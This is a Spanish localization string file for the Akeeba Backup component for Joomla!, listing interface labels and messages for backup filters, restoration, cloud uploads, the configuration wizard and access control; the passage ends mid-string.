FSFILTER_LABEL_CURDIR="Directorio actual:" FSFILTER_LABEL_DIRS="Subdirectorios" FSFILTER_LABEL_FILES="Ficheros" FSFILTER_LABEL_NUKEFILTERS="Reiniciar todos los filtros" FSFILTER_ERROR_TITLE="Ocurrió un error" FSFILTER_TYPE_DIRECTORIES="Excluir Directorio" FSFILTER_TYPE_SKIPDIRS="No Incluir los Subdirectorios" FSFILTER_TYPE_SKIPFILES="No Incluir los Ficheros" FSFILTER_TYPE_FILES="Excluir el Fichero" CPANEL_HEADER_BASICOPS="Operaciones Básicas" CPANEL_HEADER_INCLUSION="Incluir los datos en el respaldo" CPANEL_HEADER_EXCLUSION="Excluir los datos del respaldo" CPANEL_PROFILE_TITLE="Perfil Activo" CPANEL_PROFILE_BUTTON="Cambiar Perfiles" PANEL_PROFILE_SWITCH_ERROR="Error en el cambio de perfil activo" PANEL_PROFILE_SWITCH_OK="Perfil cambiado con éxito" CPANEL_UPGRADE_UPTODATE="Comprobar actualizaciones" CPANEL_UPGRADE_NOW="ACTUALIZACIÓN DISPONIBLE" CPANEL_LABEL_STATUSSUMMARY="Resumen del Estado" STATUS_OK="Akeeba Backup está listo para respaldar su sitio" STATUS_WARNING="Akeeba Backup está listo para respaldar su sitio, pero pueden aparecer problemas" STATUS_ERROR="Se detectaron errores que prohiben la operación que se intentaba hacer" CPANEL_LABEL_STATUSDETAILS="Problemas detectados" BACKUP_STATS="Estadísticas de Respaldo" TRANSLATION_CREDITS="Agradecimientos de Traducción" CPANEL_LABEL_NEWSTITLE="Noticias de Akeeba Backup" NEWS_INTRODUCTION="Los últimos anuncios de Akeeba Backup contienen información importante sobre corrección de errores y nuevas versiones ¡Consúltelas con regularidad para enterarse de las novedades del proyecto Akeeba Backup!" COPYRIGHT="Copyright ©2006-%s AkeebaBackup.com. Todos los derechos reservados." LICENSE="Akeeba Backup es Software Libre y es distribuído bajo los términos de la GNU General Public License, versión 2 o posterior." DBFILTER_LABEL_ROOTDIR="Base de datos actual:" DBFILTER_LABEL_SITEDB="Base de datos principal del sitio" DBFILTER_LABEL_TABLES="Tablas de la base de datos, vistas, procedimientos, funciones y disparadores" DBFILTER_LABEL_EXCLUDENONCORE="Excluir las tablas que no son del nucleo" DBFILTER_LABEL_NUKEFILTERS="Reiniciar todos los filtros" DBFILTER_ERROR_TITLE="Ha ocurrido un error" DBFILTER_TYPE_TABLES="Excluir esto" DBFILTER_TYPE_TABLEDATA="No respaldar sus contenidos" DBFILTER_TYPE_REGEXTABLES="Excluir una tabla" DBFILTER_TYPE_REGEXTABLEDATA="No respaldar los contenidos de las tablas" DBFILTER_TABLE_MISC="Unión, temporal, memoria, federada, agujero negro o tipo de tabla variado
            Sus datos nunca se respaldará con Akeeba Backup" DBFILTER_TABLE_TABLE="Tablas de la base de datos MyISAM o InnoDB" DBFILTER_TABLE_VIEW="Vista MySQL" DBFILTER_TABLE_PROCEDURE="Procedimiento de guardado" DBFILTER_TABLE_FUNCTION="Función de guardado" DBFILTER_TABLE_TRIGGER="Disparador de la base de datos" UI-MULTIDB-DRIVER="Controlador de la base de datos" UI-MULTIDB-HOST="Nombre del servidor de la base de datos" UI-MULTIDB-PORT="Puerto de la base de datos" UI-MULTIDB-USERNAME="Nombre de usuario" UI-MULTIDB-PASSWORD="Contraseña" UI-MULTIDB-DATABASE="Nombre de la base de datos" UI-MULTIDB-PREFIX="Prefijo" UI-MULTIDB-TEST="Probar la Conexión" UI-MULTIDB-SAVE="Guardar" UI-MULTIDB-CANCEL="Cancelar" UI-MULTIDB-LOADING="Cargando; por favor espere..." UI-MULTIDB-CONNECTOK="¡Conectado a la base de datos!" UI-MULTIDB-CONNECTFAIL="No pude conectar con la base de datos. Por favor, compruebe la configuración. El último error fue:" UI-MULTIDB-SAVEFAIL="Fallo al guardar; por favor, inténtelo de nuevo" MULTIDB_LABEL_HOST="Servidor" MULTIDB_LABEL_DATABASE="Base de Datos" EFF_LABEL_DIRECTORY="Directorio" UPDATE_LABEL_UPGRADEFOUND="¡Se ha encontrado una actualización!" UPDATE_LABEL_NOUPGRADESFOUND="Su instalación de Akeeba Backup está actualizada" UPDATE_LABEL_NOTAVAILABLE="La información de actualizaciones no está disponible" UPDATE_LABEL_PACKAGELOCATION="Lugar para actualizar el paquete:" UPDATE_LABEL_LATESTVERSION="Última versión:" UPDATE_LABEL_EDITION="Edición del programa" UPDATE_LABEL_YOURVERSION="Su versión:" UPDATE_LABEL_RELEASEDON="Publicada en" UPDATE_STATUS_STABLE="Estable" UPDATE_STATUS_ALPHA="Alpha" UPDATE_STATUS_BETA="En pruebas (beta)" UPDATE_STATUS_SVN="Muestra de desarrollo" UPDATE_LABEL_FORCE="Requery el servidor de actualización manualmente" UPDATE_LABEL_UPDATENOW="Actualizar" UPDATE_ERROR_NOUPDATES="No hay actualizaciones disponibles" UPDATE_ERROR_CANTDOWNLOAD="No se puede descargar el paquete de actualización. Asegúrese que el cortafuegos de su servidor" UPDATE_ERROR_CANTEXTRACT="No se puedo extraer el paquete actualización. Por favor, compruebe los permisos del directorio temporal de Joomla! o pruebe a instalar el paquete de actualización manualmente." UPDATE_ERROR_USERNAMEPASSREQUIRED="¡Debe especificar su nombre de usuario y contraseña de AkeebaBackup.com en los parámetros del componente para que funcione la actualización!" EXTFILTER_COMPONENTS="Componentes" EXTFILTER_LANGUAGES="Idiomas" EXTFILTER_MODULES="Módulos" EXTFILTER_TEMPLATES="Plantillas" EXTFILTER_PLUGINS="Plugins" EXTFILTER_ERROR_INVALIDCOMPONENT="El componente '%s' no es válido" EXTFILTER_ERROR_INVALIDMODULE="El módulo '%s' no es válido" EXTFILTER_ERROR_INVALIDPLUGIN="El plugin '%s' no es válido" EXTFILTER_ERROR_INVALIDTEMPLATE="La plantilla '%s' no es válida" EXTFILTER_ERROR_INVALIDLANGUAGE="El idioma '%s' no es válido" EXTFILTER_MSG_TOGGLEDCOMPONENT="Estado del filtro cambiado para el componente '%s'" EXTFILTER_MSG_TOGGLEDMODULE="Estado del filtro cambiado para el módulo '%s'" EXTFILTER_MSG_TOGGLEDPLUGIN="Estado del filtro cambiado para el plugin '%s'" EXTFILTER_MSG_TOGGLEDTEMPLATE="Estado del filtro cambiado para la plantilla '%s'" EXTFILTER_MSG_TOGGLEDLANGUAGE="Estado del filtro cambiado para el idioma '%s'" EXTFILTER_LABEL_FRONTEND="Parte pública" EXTFILTER_LABEL_BACKEND="Zona privada de administración" EXTFILTER_LABEL_STATE="Estado" EXTFILTER_LABEL_AREA="Área" EXTFILTER_LABEL_TYPE="Tipo" EXTFILTER_LABEL_COMPONENT="Componente" EXTFILTER_LABEL_MODULE="Módulo" EXTFILTER_LABEL_PLUGIN="Plugin" EXTFILTER_LABEL_TEMPLATE="Plantilla" EXTFILTER_LABEL_LANGUAGE="Idioma" RESTORE_ERROR_INVALID_RECORD="Registro de respaldo no válido" RESTORE_ERROR_ARCHIVE_MISSING="No se pudo localizar el archivo de respaldo" RESTORE_ERROR_INVALID_TYPE="Tipo de fichero no válido. La restauración integrada sólo funcionará con ficheros JPA y ZIP" RESTORE_ERROR_CANT_WRITE="No se pudo escribir en restoration.php. Por favor, asegúrese que el directorio administrator/components/com_akeeba tiene permisos de escritura." RESTORE_LABEL_INPROGRESS="Extracción del fichero en progreso" RESTORE_LABEL_DONOTCLOSE="No cierre esta ventana ni navegue por otra página mientras que la extracción del fichero está en progreso" RESTORE_LABEL_BYTESREAD="Bytes leídos" RESTORE_LABEL_BYTESEXTRACTED="Bytes extraídos" RESTORE_LABEL_FILESEXTRACTED="Ficheros extraídos" RESTORE_LABEL_FAILED="La extracción ha fallado" RESTORE_LABEL_FAILED_INFO="La extracción del archivo de respaldo falló.
            El último mensaje de error fue:" RESTORE_LABEL_SUCCESS="La extracción se completó con éxito" RESTORE_LABEL_FINALIZE="Finalizar la restauración" RESTORE_LABEL_EXTRACTIONMETHOD="Método de extracción de ficheros" RESTORE_LABEL_EXTRACTIONMETHOD_DIRECT="Escribir directamente en los ficheros" RESTORE_LABEL_EXTRACTIONMETHOD_FTP="UUsar la capa FTP" RESTORE_LABEL_FTPOPTIONS="Opciones de la capa FTP" RESTORE_LABEL_START="Comenzar restauración" ;; ================================================================================ ;; Akeeba Backup 3.1 ;; ================================================================================ ENGINE_POSTPROC_CLOUDFILES_TITLE="Subir a RackSpace CloudFiles" ENGINE_POSTPROC_CLOUDFILES_DESCRIPTION="Sube el archivo de respaldo a RackSpace CloudFiles.
            Recuerde configurar un tamaño de trozo de fichero de 2-30Mb o ¡correrá el riesgo de que falle el respaldo debido a errores por el límite de tiempo!" CONFIG_CLOUDFILESUSERNAME_TITLE="Nombre de usuario" CONFIG_CLOUDFILESUSERNAME_DESCRIPTION="Su nombre de usuario de CloudFiles" CONFIG_CLOUDFILESAPIKEY_TITLE="Clave de API" CONFIG_CLOUDFILESAPIKEY_DESCRIPTION="Su clave de API de CloudFiles" CONFIG_CLOUDFILESCONTAINER_TITLE="Contenedor" CONFIG_CLOUDFILESCONTAINER_DESCRIPTION="El contenedor de CloudFiles que alberga los archivos de respaldo" CONFIG_CLOUDFILESDIRECTORY_TITLE="Directorio" CONFIG_CLOUDFILESDIRECTORY_DESCRIPTION="El directorio dentro del contenedor de CloudFiles para almacenar los archivos de respaldo. Para guardarlo todo en la raíz del contenedor, por favor, deje este campo en blanco." ENGINE_POSTPROC_AZURE_TITLE="Subir a Microsoft Windows Azure BLOB Storage" ENGINE_POSTPROC_AZURE_DESCRIPTION="Sube el archivo de respaldo a Microsoft Windows Azure BLOB Storage.
            Recuerde configurar un tamaño de trozo de fichero de 2-64Mb o ¡correrá el riesgo de que falle el respaldo debido a errores por el límite de tiempo!" CONFIG_AZURE_ACCOUNTNAME_TITLE="Nombre de cuenta" CONFIG_AZURE_ACCOUNTNAME_DESCRIPTION="El nombre de su cuenta. Si su punto final es foobar.blob.core.windows.net entonces su nombre de cuenta es foobar y debe escribir foobar en esta casilla." CONFIG_AZURE_KEY_TITLE="Clave de acceso primaria" CONFIG_AZURE_KEY_DESCRIPTION="Puede encontrar su clave de acceso primaria en la página de su cuenta en windows.azure.com. Copie y péguela aquí. Siempre tiene dos signos igual al final." CONFIG_AZURE_CONTAINER_TITLE="Contenedor" CONFIG_AZURE_CONTAINER_DESCRIPTION="El contenedor de Windows Azure BLOB Storage para guardar los archivos de respaldo. El contenedor debe existir." CONFIG_AZURE_DIRECTORY_TITLE="Directorio" CONFIG_AZURE_DIRECTORY_DESCRIPTION="El directorio dentro del contenedor de Windows Azure BLOB Storage para almacenar los archivos de respaldo. Para guardarlo todo en la raiz del conentedor, por favor, déjelo en blanco." ENGINE_POSTPROC_EMAIL_TITLE="Enviar por correo electrónico" ENGINE_POSTPROC_EMAIL_DESCRIPTION="Envía su archivo de respaldo a través de ficheros adjuntos del correo electrónico.
            Recuerde configurar un tamaño de trozo de fichero de 1-2Mb o ¡correrá el riesgo de que falle el respaldo debido a errores por el límite de tiempo!" CONFIG_PROCEMAIL_ADDRESS_TITLE="Dirección de correo electrónico" CONFIG_PROCEMAIL_ADDRESS_DESCRIPTION="La dirección de correo electrónico a la que se enviarán los ficheros de respaldo" CONFIG_PROCEMAIL_SUBJECT_TITLE="Asunto del email" CONFIG_PROCEMAIL_SUBJECT_DESCRIPTION="El asunto del correo electrónico (opcional). Esta opción tiene como objetivo ayudarle a distinguir entre los respaldos de varios sitios." AKEEBA_DEFAULT_EMAIL_SUBJECT="Tiene una nueva parte del respaldo" CONFIG_POSTPROCPARTS_TITLE="Procesar cada parte inmediatamente" CONFIG_POSTPROCPARTS_DESCRIPTION="Si está activo, Akeeba Backup ejecutará el motor de procesado a posteriori en cada parte del respaldo tan pronto como esté completa. Si está desactivado, Akeeba Backup ejecutará el motor de procesado a posteriori para todas las partes al final del proceso de respaldo." CONFIG_USEIFRAMES_TITLE="Isar IFRAMEs en lugar de AJAX" CONFIG_USEIFRAMES_DESCRIPTION="Si está activo, Akeeba Backup usará IFRAMEs ocultos en lugar de las comunicaciones normales mediante AJAX con el servidor. Úselo sólo si experimenta errores extraños con su servidor." STATS_LABEL_ORIGIN_JSON="API JSON" STATS_LABEL_ORIGIN_XMLRPC="API remota" STATS_LABEL_ORIGIN_LITE="Modo ligero" LOG_CHOOSE_FILE_VALUE="- Elija un origen del respaldo" LOG_CHOOSE_FILE_TITLE="Por favor elija un fichero de registro para mostrar:" LOG_NONE_FOUND="No se ha encontrado el fichero de registro" CONFIG_BACKUPTYPE_INCFILE="Sólo ficheros, incremental" AKEEBA_CONTROLPANEL="Centro de control" CONFIG_WHERE_ARE_THE_FILTERS="Si está buscando los filtros –p. ej. para excluir ficheros, directorios y tablas de la base de datos– por favor pulse el botón Cancelar para volver a la página del Centro de Control, donde podrá acceder a estas opciones directamente." ENGINE_ARCHIVER_JPS_TITLE="Archivos encriptados (JPS)" ENGINE_ARCHIVER_JPS_DESCRIPTION="Crea archivos encriptados con el método estándar de encriptación AES-128, en un formato muy similar a JPA. Requiere tener instalada y activada la extensión de PHP mcrypt." CONFIG_JPS_KEY_TITLE="Clave de encriptación" CONFIG_JPS_KEY_DESCRIPTION="Esta clave se usará para encriptar el contenido de sus archivos. La clave distingue entre mayúsculas y minúsculas, es decir, ABC, abc y Abc son 3 contraseñas diferentes ¡Mantenga una copia de la contraseña en un lugar seguro! Si la pierde no hay forma de recuperarla." RESTORE_LABEL_JPSOPTIONS="Optiones de seguridad del archivo" RESTORE_LABEL_RUNINSTALLER="Ejecutar el script de restauración del sitio" RESTORE_LABEL_SUCCESS_INFO2="Ahora debe ejecutar el instalador de Respaldo de Akeeba (ABI). ¡No cierre esta ventana!. Una vez finalizada la restauración, cierre la ventana del instalador y pinche en el nuevo botón de Finalizar la Restauración abajo, elimineel directorio installation y comience a usar su sitio restaurado." STATS_LABEL_ORIGIN_LAZY="Lazy Plugin" ENGINE_ARCHIVER_ZIPNATIVE_TITLE="Comprimir en ZIP usando la clase ZipArchive" ENGINE_ARCHIVER_ZIPNATIVE_DESCRIPTION="El archivo ZIP será creado usando la clase de PHP ZipArchive. IMPORTANTE: Este motor de compresión no soporta el troceado de archivos o el manejo de enlaces simbólicos (symlinks) y puede, por tanto, conducir a problemas con el respaldo. Si al usarlo recibe mensajes de error de timeout, AJAX o "Internal Server Error" tendrá que cambiar a un motor de compresión distinto, y activar el troceado de archivos." CONFIG_FEEMAILSUBJECT_LABEL="Asunto del Email" CONFIG_FEEMAILSUBJECT_DESC="Déjelo en blanco para usar el asunto por defecto. Puede usar las mismas variables de Akeeba Backup utilizadas para nombrar los archivos, como [HOST] o [DATE]" CONFIG_FEEMAILBODY_LABEL="Cuerpo del Email" CONFIG_FEEMAILBODY_DESC="Déjelo en blanco para usar el mensaje por defecto. Puede usar las mismas variables de Akeeba Backup utilizadas para nombrar los archivos, como [HOST] o [DATE]. También puede usar [PROFILENUMBER] para insertar el número del perfil actual, [PROFILENAME] para insertar el nombre del perfil actual, [PARTCOUNT] para insertar el número total de trozos (archivos) en los que se ha dividido el respaldo y [FILELIST] para insertar una lista con todas esas partes o archivos." FTPBROWSER_ERROR_HOSTNAME="Host o puerto FTP incorrecto" FTPBROWSER_ERROR_USERPASS="Nombre de usuario o password FTP incorrecto" FTPBROWSER_ERROR_NOACCESS="La carpeta no existe o no tiene permisos para acceder a ella" FTPBROWSER_ERROR_UNSUPPORTED="Disculpe, su servidor FTP no soporta nuestro navegador de carpetas FTP." FTPBROWSER_LBL_GOPARENT="<subir un nivel>" FTPBROWSER_LBL_ERROR="Ocurrió un error" FTPBROWSER_LBL_INSTRUCTIONS="Haga clic en una carpeta para navegar dentro de ella. Haga clic en OK para seleccionar esa carpeta, o en Cancelar para abortar el proceso." CONFIG_UI_FTPBROWSER_TITLE="Navegador de carpetas FTP" CONFIG_LIVEUPDATE_USESVN_LABEL="Actualizar únicamente a versiones de desarrollador" CONFIG_LIVEUPDATE_USESVN_DESC="Cuando se establezca como Sí, Akeeba Backup actualizará a versiones de desarrollador. ¡AVISO! NO SE LE VOLVERÁ A AVISAR SOBRE VERSIONES OFICIALES ALFA, BETA, RC O ESTABLES!" ;; ================================================================================ ;; Added after 3.1.4 ;; ================================================================================ CONFIG_NODEPENDENCIES_TITLE="No hacer seguimiento de dependencias" CONFIG_NODEPENDENCIES_DESCRIPTION="Cuando se active, Akeeba Backup no hará seguimiento de las dependencias entre tablas y vistas. Use esta opción únicamente cuando tenga cientos de tablas en la base de datos y no esté usando VIEWs, FUNCTIONs, PROCEDUREs, TRIGGERs en MySQL, o bien sus tablas usen los motores TEMPORARY, MEMORY, MERGE o FEDERATED (usados muy rara vez)." AKEEBA_CONFWIZ="Asistente de Configuración" AKEEBA_WIZARD_INTROTEXT="El Asistente de Configuración ejecuta una serie de bancos de pruebas en su servidor para determinar los ajustes de configuración de respaldo óptimos para su sitio. Por favor no salga de esta página cuando inicie su ejecución. Es normal que pueda parecer colgada durante periodos de hasta 3 minutos, dependiendo de la velocidad de su servidor." AKEEEBA_WIZARD_PROGRESS="Bancos de pruebas en proceso" AKEEBA_CONFWIZ_AJAX="Determinando el método AJAX óptimo" AKEEBA_CONFWIZ_MINEXEC="Optimizando el tiempo de ejecución mínimo" AKEEBA_CONFWIZ_DIRECTORY="Examinando los directorios Temporal y de Salida" AKEEBA_CONFWIZ_DBOPT="Optimizando la configuración del motor de volcado de la Base de Datos" AKEEBA_CONFWIZ_MAXEXEC="Optimizando el tiempo máximo de ejecución" AKEEBA_CONFWIZ_SPLITSIZE="Determinando el tamaño requerido de cada parte para el troceado de archivos" AKEEBA_WIZARD_HEADER_FAILED="Fallo del Asistente de Configuración" AKEEBA_WIZARD_UI_TRYAJAX="Probando AJAX estándar" AKEEBA_WIZARD_UI_TRYIFRAME="Probando IFRAMEs en lugar de AJAX" AKEEBA_WIZARD_UI_CANTUSEAJAX="Akeeba Backup no pudo determinar un método AJAX adecuado para ser usado en su servidor. Por favor contacte con nuestro foro de soporte para recibir instrucciones." AKEEBA_WIZARD_UI_MINEXECTRY="Probando %s segundos" AKEEBA_WIZARD_UI_CANTSAVEMINEXEC="No se pudo guardar la configuración del tiempo mínimo de ejecución. Tendrá que configurar Akeeba Backup manualmente." AKEEBA_WIZARD_UI_SAVEMINEXEC="Guardando la configuración del tiempo mínimo de ejecución" AKEEBA_WIZARD_UI_CANTDETERMINEMINEXEC="No se pudo determinar el tiempo mínimo de ejecución. Esto indica que existe un problema en la comunicación con su servidor. Por favor intente configurar Akeeba Backup manualmente." AKEEBA_WIZARD_UI_CANTFIXDIRECTORIES="Akeeba Backup no pudo encontrar un directorio temporal y de salida escribible. Por favor otorgue permisos de escritura al directorio administrator/components/com_akeeba/backup y ejecute el asistente de nuevo." AKEEBA_WIZARD_UI_CANTDBOPT="Akeeba Backup no pudo determinar la configuración óptima del volcado de la base de datos. Asegúrese de que su servidor utiliza MySQL 5.0 o posterior y que su usuario de la base de datos tiene permiso para ejecutar el comando SHOW TABLE STATUS antes de ejecutar el asistente de nuevo." AKEEBA_WIZARD_UI_EXECTOOLOW="Akeeba Backup detectó que su servidor requiere un tiempo máximo de ejecución que es demasiado pequeño para ser práctico. Le recomendamos que cambie de compañía de alojamiento o que les pida que incrementen su tiempo máximo de ejecución en PHP, y que aumenten cualquier límite de uso de CPU que hayan establecido en su cuenta." AKEEBA_WIZARD_UI_SAVINGMAXEXEC="Guardando la configuración de tiempo máximo de ejecución" AKEEBA_WIZARD_UI_CANTSAVEMAXEXEC="Akeeba Backup no pudo guardar la configuración del tiempo máximo de ejecución. Tendrá que configurarla manualmente." AKEEBA_WIZARD_UI_CANTDETERMINEPARTSIZE="Akeeba Backup no pudo determinar el tamaño adecuado de los trozos para su servidor. Por favor asegúrese de que tiene suficiente espacio libre en su cuenta y ejecute el asistente de nuevo." AKEEBA_WIZARD_UI_PARTSIZE="Probando un tamaño de trozo de %s Mb" AKEEBA_WIZARD_HEADER_FINISHED="Banco de pruebas finalizado" AKEEBA_WIZARD_CONGRATS="¡Felicidades! Ha completado el asistente automático de configuración. Ahora puede probar su nueva configuración llevando a cabo un respaldo, o bien afinarla a través de la página de Configuración." ;; ================================================================================ ;; Added after 3.1.5 ;; ================================================================================ ; Configuration encryption support in Professional release CONFIG_SECURITY_HEADER_LABEL="Seguridad" CONFIG_SECURITY_HEADER_DESC="Configuración de seguridad" CONFIG_SECURITY_USEENCRYPTION_LABEL="Usar encriptación" CONFIG_SECURITY_USEENCRYPTION_DESCRIPTION="Cuando está activo la configuración de seguridad se encripta usando el estándar de encriptación de la industria AES-128." CONFIG_UI_SETTINGS_SECURED="Su configuración ha sido asegurada mediante una encriptación de 128-bit. Puede guardar sus contraseñas de forma segura en la configuración." CONFIG_UI_SETTINGS_NOTSECURED="Su servidor no soporta la encriptación de su configuración de seguridad. Le recomendamos encarecidamente que no guarde ninguna contraseña en la configuración." ; Optional filters and date conditional filter CONFIG_HEADER_OPTIONALFILTERS="Filtros Opcionales" CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_TITLE="Filtro de fecha condicional" CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_DESCRIPTION="Cuando está activo sólo se hará un respaldo de los ficheros que se hayan modificado con una fecha y hora posterior a la especificada." CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_TITLE="Respaldar ficheros posteriores a" CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_DESCRIPTION="Akeeba Backup respaldará los ficheros modificados posteriormente a esta fecha y hora. El formato es AAAA-MM-DD hh:mm:ss. Todas las fechas y horas se expresan en la zona horaria de su servidor." ; Remotely stored files management AKEEBA_REMOTEFILES="Administración de ficheros almacenados de forma remota" STATS_LABEL_REMOTEFILEMGMT="Administrar de ficheros almacenados de forma remota" REMOTEFILES_FETCH="Traer de vuelta al servidor" REMOTEFILES_DELETE="Borrar" REMOTEFILES_ERR_NOTSUPPORTED_HEADER="No hay operaciones de ficheros remotos disponibles" REMOTEFILES_ERR_NOTSUPPORTED="Lo sentimos, el motor de almacenamiento remoto que está usando no soporta la descarga o el borrado de ficheros almacenados de forma remota, o ya ha transferido los ficheros a su servidor y han sido borrados del servidor de almacenamiento remoto." REMOTEFILES_ERR_INVALIDID="El identificador de descarga especificado no es válido" REMOTEFILES_LBL_DOWNLOADLOCALLY="Descargar a su escritorio" REMOTEFILES_LBL_NOTSUPPORTSLOCALDL="Lo sentimos, el motor de almacenamiento remoto que está usando no soporta la descarga remota de ficheros a su ordenador o ya los ficheros ya han sido borrados del servidor remoto." REMOTEFILES_PART="Parte #%u" REMOTEFILES_ERR_CANTDOWNLOAD="No se pudo descargar el fichero. El error fue: " REMOTEFILES_ERR_CANTOPENFILE="No se puede abrir el fichero local %s en escritura; se aborat el proceso de descarga" REMOTEFILES_LBL_JUSTFINISHED="La descarga de su respaldo desde el almacenamiento remoto a su servidor ha terminado" REMOTEFILES_LBL_DOWNLOADEDSOFAR="Se descargaron %u bytes de %u bytes totales (%u %%)" REMOTEFILES_LBL_LOCALFILEHEADER="Fichero local: " REMOTEFILES_ERR_CANTDELETE="No se pudo borrar el fichero almacenado de forma remota. El error fue: " REMOTEFILES_LBL_JUSTFINISHEDELETING="Los ficheros almacenados en remoto han sido borrados correctamente" ; Translations of warning messages for media folder permissions and jQuery loading AKEEBA_CPANEL_WARN_WARNING="ADVERTENCIA" AKEEBA_CPANEL_WARN_PERMS_L1="Akeeba Backup no pudo determinar los permisos del directorio media/com_akeeba." AKEEBA_CPANEL_WARN_PERMS_L2="Por favor realice alguna de las siguientes acciones:" AKEEBA_CPANEL_WARN_PERMS_L3A="Active la capa FTP de Joomla! en la Configuración Global" AKEEBA_CPANEL_WARN_PERMS_L3B="Cambie los permisos del directorio media/com_akeeba y de todos sus subdirectorios a 0755 y de todos sus ficheros a 0644 usando su cliente de FTP." AKEEBA_CPANEL_WARN_PERMS_L4="Akeeba Backup probablemente no funcionará si no realiza estos pasos. No pida soporte si puede ver este mensaje. Toda la información que necesita está en este mensaje." AKEEBA_CPANEL_WARN_ERROR="ERROR" AKEEBA_CPANEL_WARN_JQ_L1="jQuery y/o jQuery UI no han sido cargados. Esto normalmente significa que tiene que cambiar los permisos de media/com_akeeba y de todo su contenido al menos a 0644. Como alternativa, pinche en "Parametros" y elija la fuente para ambos en la "Google AJAX API"." AKEEBA_CPANEL_WARN_JQ_L2="Si no hace eso, el componente no funcionará." ; File and directories exclusion FSFILTER_LABEL_ADDNEWFILTER="Añadir un filtro nuevo:" ; Configuration page CONFIG_LABEL_INFORMATION="Información útil" ; Administer Backup Files STATS_LABEL_MANAGEANDDL="Administración & Descarga" RESTORE_LABEL_REMOTETIP="Consejo: Para restaurar un servidor remoto simplemente elija la opción de "Usar la capa FTP" e introduzca su información de conexión de FTP en las opciones de la capa FTP de debajo." RESTORE_LABEL_SUCCESS_INFO2B="Sin embargo, si está restaurando desde un sitio remoto no pinche ningún botón. En su lugar, entre en la dirección del script de restauración en http://www.susitio.com/installation/index.php. Al finalizar la restauración, pinche en el enlace de "Borrar la carpeta de instación" en la página final del script de restauración o, si falla, borre el directorio installation del sitio con su cliente de FTP favorito." ; Archive discovery view DISCOVER="Descubrir e importar archivos" DISCOVER_ERROR_NODIRECTORY="No ha elegido un directorio válido" DISCOVER_ERROR_NOFILES="No hay ficheros de archivo para importar en el directorio elegido. Por favor vaya atrás y elija otro directorio." DISCOVER_ERROR_NOFILESSELECTED="No eligió ningún fichero a importar." DISCOVER_LABEL_DIRECTORY="Directorio" DISCOVER_LABEL_SELECTDIR="Elija un directorio que contenga los archivos de respaldo:" DISCOVER_LABEL_SCAN="Escaneo de ficheros" DISCOVER_LABEL_FILES="Ficheros de archivo detectados" DISCOVER_LABEL_SELECTFILES="Por favor elija los ficheros a importar. Mantenga pulsado la tecla CTRL o la tecla de Comando mientras pincha en los ficheros para elegir varios." DISCOVER_LABEL_IMPORT="Importar los ficheros" DISCOVER_LABEL_GOBACK="Volver a la selección de directorio" DISCOVER_LABEL_IMPORTDONE="La operación de imporatación se completó correctamente." DISCOVER_LABEL_IMPORTEDDESCRIPTION="Archivo de respaldo importado" ; Component Configuration CONFIG_DOWNLOADID_LABEL="Identificador de descarga" CONFIG_DOWNLOADID_DESC="Esto es necesario para permitir actualizaciones en vivo de la versión profesional. Por favor visite https://www.akeebabackup.com/my-subscriptions.html para obtener su identificador de descarga personal." CONFIG_REMOTEQUOTA_ENABLE_TITLE="Permitir cuotas para los ficheros remotos" CONFIG_REMOTEQUOTA_ENABLE_DESCRIPTION="Cuando se activa, los parámetros de cuota siguientes se aplicarán a los ficheros almacenados de forma remota tales como Amazon S3 o servidores de FTP remotos." ; Live updates UPDATE_ERROR_CANTDOWNLOAD2="No se pudo descargar el fichero de actualización. Asegúrese de que el cortafuegos de su servidor no está bloqueando la conexión y de que ha facilitado un identificador de descarga válido para la versión profesional." UPDATE_ERROR_USERNAMEPASSREQUIRED2="¡Tiene que especificar su identificador de descarga de AkeebaBackup.com en los parámetros del componente para que la actualización funcione!" ; Control panel CPANEL_LABEL_COMPONENTCONFIG="Parámetros del Componente" ;; ================================================================================ ;; Added after 3.2 ;; ================================================================================ AKEEBA_ACL_TITLE="Control de Accesso" AKEEBA_ACL_USERNAME="Nombre de usuario" AKEEBA_ACL_USERGROUP="Grupo" AKEEBA_ACL_PERM_BACKUP="Respaldo" AKEEBA_ACL_PERM_DOWNLOAD="Descarga" AKEEBA_ACL_PERM_CONFIGURE="Configurar" ;; ================================================================================ ;; Added after 3.2.2 ;; ================================================================================ CONFIG_MYSQLNOBTREE_TITLE="Saltar el motor de índices" CONFIG_MYSQLNOBTREE_TIP="Borrar USING BTREE y USING HASH de las definiciones del índice de la tabla en los ficheros de volcado. Esto es necesario para restaurar en servidores que o bien tienen los motores de indexación apagados (e.g. en las versiones de XAMPP más nuevas) . ¡ADVERTENCIA! ESTO PUEDE CAUSAR PROBLEMAS DE RESTAURACIÓN EN ALGUNOS SERVIDORES." ;; ================================================================================ ;; Added after 3.2.3 ;; ================================================================================ CONFIG_S3LEGACY_TITLE="inhabilitar descargas multiparte" CONFIG_S3LEGACY_DESCRIPTION="Cuando está activo, todas las subidas a Amazon S3 se forzarán a una única parte. Use esto si obtiene errores RequestTimeout del motor de S3 cuando se suben partes de los respaldos." ;; ================================================================================ ;; Added or changed after 3.2.4 ;; ================================================================================ CONFIG_ADVANCED_SBBLF_LABEL="Deshabilitar la interrupción del salto antes de ficheros gran tamaño" CONFIG_ADVANCED_SBBLF_DESC="Akeeba Backup interrumpirá el paso a ejecutar antes de archivar un fichero de gran tamaño. Cuando active esta opción, Akeeba Backup funcionará más rápido. Sin embargo, esto puede resultar en errores de timeout o en errores internos del servidor (Internal Server errors)." CONFIG_ADVANCED_SBALF_LABEL="Deshabilitar la interrupción del salto después de ficheros de gran tamaño" CONFIG_ADVANCED_SBALF_DESC="Akeeba Backup interrumpirá el paso a ejecutar tras archivar un fichero de gran tamaño. Si activa esta opción, Akeeba Backup funcionará más rápido. Sin embargo, esto puede resultar en errores de timeout o en errores internos del servidor (Internal Server errors)." CONFIG_ADVANCED_SBPA_LABEL="Inhabilitación proactiva de la interrupción del paso" CONFIG_ADVANCED_SBPA_DESC="Akeeba Backup interrumpirá el paso a ejecutar si piensa que terminará su tiempo de ejecución antes de archivar el fichero. Este cálculo no es completamente preciso y puede dar como resultado respaldos más lentos. Cuando active esta opción, Akeeba Backup funcionará más rápido. Sin embargo, esto puede resultar en errores de timeout o en errores internos del servidor (Internal Server errors)." CONFIG_ADVANCED_SBBD_LABEL="Deshabilitar la interrupción de pasos entre dominios" CONFIG_ADVANCED_SBBD_DESC="Akeeba Backup interrumpirá el paso a ejecutar cuando empiece a funcionar en un nuevo 